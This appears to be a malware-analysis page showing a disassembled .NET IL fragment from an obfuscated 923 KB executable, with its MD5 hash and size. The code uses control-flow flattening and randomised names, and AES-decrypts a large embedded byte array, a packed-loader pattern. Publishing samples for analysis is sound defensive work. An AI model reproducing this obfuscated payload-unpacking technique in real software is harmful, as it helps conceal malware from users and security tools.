ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_e7e9a9402d1346698133a8582adf23ad brfalse IL_0579: switch(IL_05C9,IL_058F,IL_059E) pop <null> ldc.i4 0 br IL_0579: switch(IL_05C9,IL_058F,IL_059E) nop <null> endfinally <null> ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_5b4b5500469843579d246c1729b2e498 brfalse IL_0130: switch(IL_05EA,IL_0142) pop <null> ldc.i4 0 br IL_0130: switch(IL_05EA,IL_0142) leave IL_0677: leave IL_0749 ldloc.s V_5 brfalse IL_0657: endfinally ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_6ec5b23f662e4376b1bf8cb06ad71cd1 brfalse IL_0619: switch(IL_062B,IL_0656) pop <null> ldc.i4 0 br IL_0619: switch(IL_062B,IL_0656) ldloc V_25 switch dnlib.DotNet.Emit.Instruction[] br IL_062B: ldloc.s V_5 ldloc.s V_5 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_611a48bd71a341b499698acbb1128007 brfalse IL_0619: switch(IL_062B,IL_0656) pop <null> ldc.i4 0 br IL_0619: switch(IL_062B,IL_0656) nop <null> endfinally <null> ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_71945950378143d6ad884a1e5137f387 brtrue IL_00EE: switch(IL_0100,IL_0677) pop <null> ldc.i4 1 br IL_00EE: switch(IL_0100,IL_0677) leave IL_0749: nop ldloc.s V_18 brtrue IL_06BC: ldloc.s V_18 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_5199f6cce9574d5e9a5f7e49d7f26104 brfalse IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) pop <null> ldc.i4 0 br IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) ldloc V_6 switch dnlib.DotNet.Emit.Instruction[] br IL_06E7: br IL_06F7 ldloc.s V_18 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_7f27e45f80a84bc7a3384ea5cf542d05 brfalse IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) pop <null> ldc.i4 1 br IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) br IL_06F7: endfinally ldc.i4 2 br IL_06A6: switch(IL_06E7,IL_06F6,IL_06BC) nop <null> endfinally <null> ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2f56c76cbf5844c49df67296bd14ef3b brfalse IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) pop <null> ldc.i4 0 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) nop <null> ldloc.s V_20 ldloc.s V_1 ldsfld U3TUv8QQP7ZD1XYHYOp U3TUv8QQP7ZD1XYHYOp::L7eQEEpthE call System.Void U3TUv8QQP7ZD1XYHYOp::OHuQ8Ud2hX(System.Object,System.Byte[],U3TUv8QQP7ZD1XYHYOp) ldc.i4 2 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) nop <null> ldloc.s V_20 ldsfld wfLVkhQobKRahfccQAY wfLVkhQobKRahfccQAY::uunQkgNnYg call System.Security.Cryptography.ICryptoTransform wfLVkhQobKRahfccQAY::OHuQ8Ud2hX(System.Object,wfLVkhQobKRahfccQAY) stloc.s V_18 ldc.i4 3 br IL_00A7: switch(IL_0749,IL_0717,IL_0730,IL_00C1) nop <null> leave IL_0873: ret ldloc.s V_20 brtrue IL_078F: ldloc.s V_20 ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_e7e9a9402d1346698133a8582adf23ad brfalse IL_0779: switch(IL_07BA,IL_07C9,IL_078F) pop <null> ldc.i4 0 br IL_0779: switch(IL_07BA,IL_07C9,IL_078F) ldloc V_23 switch dnlib.DotNet.Emit.Instruction[] br IL_07BA: br IL_07CA ldloc.s V_20 ldsfld b0bBjgQKC8kWp9FSxIR b0bBjgQKC8kWp9FSxIR::rRJQatBLEo call System.Void b0bBjgQKC8kWp9FSxIR::OHuQ8Ud2hX(System.Object,b0bBjgQKC8kWp9FSxIR) ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_11606089adef4a34bd7ebfb94bb2bce6 brtrue IL_0779: switch(IL_07BA,IL_07C9,IL_078F) pop <null> ldc.i4 0 br IL_0779: switch(IL_07BA,IL_07C9,IL_078F) br IL_07CA: endfinally ldc.i4 2 br IL_0779: switch(IL_07BA,IL_07C9,IL_078F) nop <null> endfinally <null> ldc.i4 0 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_1a4647c5d87d4328a94c7e46d37534a7 brfalse IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 0 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ldc.i4.s 16 newarr System.Byte dup <null> ldtoken <PrivateImplementationDetails>/NIcuvGE6F0Pv6hdOej <PrivateImplementationDetails>::AD4AEA6B72D771387179D989D4D04A03AAA0BB8A42AE56592C5AE5657806259C ldsfld yRoZbMQuUH2QCGdqSA7 yRoZbMQuUH2QCGdqSA7::augQ6WHXmY call System.Void yRoZbMQuUH2QCGdqSA7::OHuQ8Ud2hX(System.Array,System.RuntimeFieldHandle,yRoZbMQuUH2QCGdqSA7) stloc.s V_1 ldc.i4 1 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_cfa74efd329a423599a8486faa17a90f brfalse IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 1 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ldsfld IBVCGiQNF4Rj7EQ0g9T IBVCGiQNF4Rj7EQ0g9T::pA5QVK446L call System.Security.Cryptography.Aes IBVCGiQNF4Rj7EQ0g9T::OHuQ8Ud2hX(IBVCGiQNF4Rj7EQ0g9T) stloc.s V_20 ldc.i4 3 ldsfld <Module>{26db4328-7195-4da7-91d6-83934ad581f2} <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_2684bb4fa7e74ee09778b1d728822593 ldfld System.Int32 <Module>{26db4328-7195-4da7-91d6-83934ad581f2}::m_1a4647c5d87d4328a94c7e46d37534a7 brtrue IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) pop <null> ldc.i4 5 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ldc.i4 584720 newarr System.Byte dup <null> ldtoken <PrivateImplementationDetails>/VYKDI7klhmI8sOHPy0 <PrivateImplementationDetails>::F5815824F8A56EF64EA0C5C580736E2CF9296A905A3A938EC28E70D999032C92 ldsfld yRoZbMQuUH2QCGdqSA7 yRoZbMQuUH2QCGdqSA7::augQ6WHXmY call System.Void yRoZbMQuUH2QCGdqSA7::OHuQ8Ud2hX(System.Array,System.RuntimeFieldHandle,yRoZbMQuUH2QCGdqSA7) stloc.s V_2 ldc.i4 2 br IL_0019: switch(IL_0873,IL_084D,IL_0822,IL_07EA,IL_003B,IL_0074) ret <null>

2be8a8c1383f487913a9ebfa81828a18 (923.14 KB)

2be8a8c1383f487913a9ebfa81828a18

PE Executable | MD5: 2be8a8c1383f487913a9ebfa81828a18 | Size: 923.14 KB | application/x-dosexec

PE Executable
|
MD5: 2be8a8c1383f487913a9ebfa81828a18
|
Size: 923.14 KB
|
application/x-dosexec